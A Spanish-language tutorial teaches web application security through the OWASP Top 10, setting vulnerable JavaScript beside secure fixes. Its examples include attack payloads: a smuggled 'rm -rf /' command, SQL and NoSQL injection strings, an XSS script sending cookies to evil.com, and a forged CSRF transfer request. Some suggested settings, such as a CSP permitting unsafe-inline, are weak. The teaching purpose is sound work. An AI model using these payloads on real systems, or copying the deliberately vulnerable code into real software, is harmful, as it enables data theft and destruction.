La seguridad no es opcional
Imagina que construyes una casa hermosa pero dejas todas las puertas y ventanas abiertas. No importa que tan bonita sea, cualquiera puede entrar y llevarse todo. La seguridad en aplicaciones web funciona exactamente igual.
La diferencia entre un desarrollador junior y uno senior no es solo escribir codigo que funciona, sino codigo que no puede ser explotado.
OWASP Top 10: Las vulnerabilidades mas criticas
OWASP (Open Web Application Security Project) mantiene una lista de las 10 vulnerabilidades mas peligrosas. Conocerlas es el primer paso para proteger tu aplicacion.
| # | Vulnerabilidad | Analogia |
|---|---|---|
| 1 | Broken Access Control | Dar llaves maestras a todos |
| 2 | Cryptographic Failures | Guardar contrasenas en post-its |
| 3 | Injection | Aceptar cualquier paquete sin revisar |
| 4 | Insecure Design | Casa sin cerraduras desde el plano |
| 5 | Security Misconfiguration | Dejar la puerta trasera abierta |
| 6 | Vulnerable Components | Usar materiales defectuosos |
| 7 | Auth Failures | Portero que deja pasar a todos |
| 8 | Software/Data Integrity | No verificar quien modifico algo |
| 9 | Logging Failures | No tener camaras de seguridad |
| 10 | SSRF | Dejar que extranos usen tu telefono |
Ataques de Inyeccion
Los ataques de inyeccion ocurren cuando datos no confiables se envian a un interprete como parte de un comando o consulta.
SQL Injection
Analogia: Es como si alguien te preguntara su nombre para registrarlo, y en vez de decir "Juan", dijera "Juan; BORRAR TODO EL REGISTRO".
// VULNERABLE - Nunca hagas esto
const query = `SELECT * FROM users WHERE id = ${userId}`;
// Atacante envia: userId = "1 OR 1=1; DROP TABLE users;--"
// Resultado: Se ejecuta codigo malicioso
// SEGURO - Usa consultas parametrizadas
const query = 'SELECT * FROM users WHERE id = $1';
const result = await pool.query(query, [userId]);
// Con ORMs como Prisma (recomendado)
const user = await prisma.user.findUnique({
where: { id: parseInt(userId) }
});
NoSQL Injection
// VULNERABLE
const user = await User.findOne({
username: req.body.username,
password: req.body.password
});
// Atacante envia: { "username": "admin", "password": { "$gt": "" } }
// Esto encuentra cualquier usuario con password mayor a string vacio!
// SEGURO - Valida y sanitiza inputs
import { z } from 'zod';
const loginSchema = z.object({
username: z.string().min(3).max(50),
password: z.string().min(8)
});
const { username, password } = loginSchema.parse(req.body);
const user = await User.findOne({ username, password: hashPassword(password) });
Command Injection
// VULNERABLE
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);
// Atacante envia: "google.com; rm -rf /"
// Resultado: Borra todo el servidor!
// SEGURO - Usa execFile con argumentos separados
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', sanitizedHost], callback);
// O mejor, usa librerias especificas
import ping from 'ping';
const result = await ping.promise.probe(sanitizedHost);
XSS (Cross-Site Scripting)
XSS permite a atacantes inyectar scripts maliciosos en paginas web vistas por otros usuarios.
Analogia: Es como si alguien pudiera pegar stickers falsos en tu tienda que enganan a tus clientes.
Tipos de XSS
| Tipo | Descripcion | Ejemplo |
|---|---|---|
| Stored | Script guardado en DB | Comentario con <script> |
| Reflected | Script en URL | Link malicioso por email |
| DOM-based | Manipulacion del DOM | document.write(location.hash) |
Ejemplos vulnerables vs seguros
// VULNERABLE - React con dangerouslySetInnerHTML
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />;
}
// Atacante guarda: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// SEGURO - React escapa automaticamente
function Comment({ text }) {
return <div>{text}</div>; // Los tags se muestran como texto
}
// Si necesitas HTML, usa DOMPurify
import DOMPurify from 'dompurify';
function Comment({ text }) {
const clean = DOMPurify.sanitize(text);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// VULNERABLE - Template literals en HTML
app.get('/search', (req, res) => {
res.send(`<h1>Resultados para: ${req.query.q}</h1>`);
});
// Atacante visita: /search?q=<script>alert('XSS')</script>
// SEGURO - Escapa el output
import escapeHtml from 'escape-html';
app.get('/search', (req, res) => {
res.send(`<h1>Resultados para: ${escapeHtml(req.query.q)}</h1>`);
});
CSRF (Cross-Site Request Forgery)
CSRF engana a usuarios autenticados para ejecutar acciones no deseadas.
Analogia: Alguien falsifica tu firma en un documento mientras estas distraido.
<!-- Sitio malicioso evil.com -->
<img src="https://tubank.com/transfer?to=hacker&amount=10000" />
<!-- El navegador envia las cookies automaticamente! -->
Proteccion con tokens CSRF
// Backend - Generar token
import csrf from 'csurf';
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
// El middleware valida el token automaticamente
processTransfer(req.body);
});
<!-- Frontend - Incluir token en formularios -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="{{csrfToken}}" />
<input type="text" name="amount" />
<button type="submit">Transferir</button>
</form>
SameSite Cookies (Defensa moderna)
// Configurar cookies con SameSite
res.cookie('session', sessionId, {
httpOnly: true, // No accesible desde JavaScript
secure: true, // Solo HTTPS
sameSite: 'strict', // No se envia en requests cross-site
maxAge: 3600000 // 1 hora
});
Autenticacion y Sesiones Seguras
Almacenamiento de contrasenas
// NUNCA - Texto plano
const user = { password: 'miPassword123' }; // NUNCA!
// NUNCA - Hashing debil
const hash = crypto.createHash('md5').update(password).digest('hex');
// SIEMPRE - bcrypt con salt
import bcrypt from 'bcrypt';
// Al registrar
const saltRounds = 12;
const hashedPassword = await bcrypt.hash(password, saltRounds);
// Al login
const isValid = await bcrypt.compare(inputPassword, hashedPassword);
JWT seguro
import jwt from 'jsonwebtoken';
// Generar token
const token = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{
expiresIn: '1h',
algorithm: 'HS256'
}
);
// Verificar token
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
} catch (error) {
// Token invalido o expirado
}
Sesiones seguras con Redis
import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';
const redisClient = createClient();
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
httpOnly: true,
maxAge: 1000 * 60 * 60 * 24 // 1 dia
}
}));
Exposicion de Datos Sensibles
Que NUNCA debe estar en tu codigo
// NUNCA en el codigo
const API_KEY = 'sk-1234567890abcdef'; // NUNCA!
const DB_PASSWORD = 'superSecretPassword'; // NUNCA!
// SIEMPRE en variables de entorno
const API_KEY = process.env.API_KEY;
const DB_PASSWORD = process.env.DB_PASSWORD;
.env y .gitignore
# .env (NUNCA en Git)
DATABASE_URL=postgresql://user:pass@localhost:5432/db
JWT_SECRET=tu-secreto-muy-largo-y-aleatorio
API_KEY=sk-produccion-key
# .gitignore
.env
.env.local
.env.*.local
*.pem
*.key
Encriptacion de datos sensibles
import crypto from 'crypto';
const algorithm = 'aes-256-gcm';
const key = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');
function encrypt(text) {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(algorithm, key, iv);
let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');
const authTag = cipher.getAuthTag();
return {
iv: iv.toString('hex'),
encrypted,
authTag: authTag.toString('hex')
};
}
function decrypt({ iv, encrypted, authTag }) {
const decipher = crypto.createDecipheriv(
algorithm,
key,
Buffer.from(iv, 'hex')
);
decipher.setAuthTag(Buffer.from(authTag, 'hex'));
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
}
Security Headers
Los headers HTTP son tu primera linea de defensa.
Configuracion con Helmet (Express)
import helmet from 'helmet';
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.tudominio.com"]
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
}
}));
Headers en Next.js
// next.config.js
const securityHeaders = [
{
key: 'X-DNS-Prefetch-Control',
value: 'on'
},
{
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload'
},
{
key: 'X-Frame-Options',
value: 'SAMEORIGIN'
},
{
key: 'X-Content-Type-Options',
value: 'nosniff'
},
{
key: 'Referrer-Policy',
value: 'origin-when-cross-origin'
},
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline';"
}
];
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: securityHeaders
}
];
}
};
Principales headers explicados
| Header | Funcion |
|---|---|
| CSP | Controla que recursos puede cargar la pagina |
| HSTS | Fuerza HTTPS en el navegador |
| X-Frame-Options | Previene clickjacking |
| X-Content-Type-Options | Previene MIME sniffing |
| CORS | Controla requests cross-origin |
Validacion y Sanitizacion
Zod para validacion de schemas
import { z } from 'zod';
// Definir schema
const userSchema = z.object({
email: z.string().email(),
password: z.string().min(8).regex(/[A-Z]/).regex(/[0-9]/),
age: z.number().min(18).max(120).optional(),
role: z.enum(['user', 'admin']).default('user')
});
// Validar en endpoint
app.post('/register', async (req, res) => {
try {
const validData = userSchema.parse(req.body);
// Datos seguros para usar
await createUser(validData);
} catch (error) {
if (error instanceof z.ZodError) {
return res.status(400).json({ errors: error.errors });
}
}
});
Sanitizacion de HTML
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
// Configuracion estricta
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
Seguridad de Dependencias
npm audit
# Revisar vulnerabilidades
npm audit
# Arreglar automaticamente
npm audit fix
# Ver detalle de vulnerabilidades criticas
npm audit --audit-level=critical
Snyk (Recomendado)
# Instalar
npm install -g snyk
# Autenticar
snyk auth
# Escanear proyecto
snyk test
# Monitorear continuamente
snyk monitor
Dependabot en GitHub
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
Herramientas de Testing de Seguridad
| Herramienta | Tipo | Uso |
|---|---|---|
| OWASP ZAP | DAST | Escaneo automatico de web |
| Burp Suite | Proxy | Testing manual avanzado |
| SonarQube | SAST | Analisis estatico de codigo |
| Snyk | SCA | Dependencias vulnerables |
| npm audit | SCA | Dependencias npm |
| ESLint Security | SAST | Reglas de seguridad JS |
ESLint con reglas de seguridad
// .eslintrc.js
module.exports = {
plugins: ['security'],
extends: ['plugin:security/recommended'],
rules: {
'security/detect-object-injection': 'error',
'security/detect-non-literal-regexp': 'error',
'security/detect-unsafe-regex': 'error',
'security/detect-buffer-noassert': 'error',
'security/detect-eval-with-expression': 'error',
'security/detect-no-csrf-before-method-override': 'error'
}
};
Checklist de seguridad
- Validar y sanitizar TODOS los inputs
- Usar consultas parametrizadas (no concatenar SQL)
- Hashear contrasenas con bcrypt (saltRounds >= 12)
- Implementar CSRF tokens o SameSite cookies
- Configurar security headers (CSP, HSTS, etc.)
- Mantener dependencias actualizadas
- No exponer secretos en codigo o logs
- Usar HTTPS en produccion
- Implementar rate limiting
- Logging de eventos de seguridad
Practica
-> Auditoria de Seguridad - Analiza y corrige vulnerabilidades en una app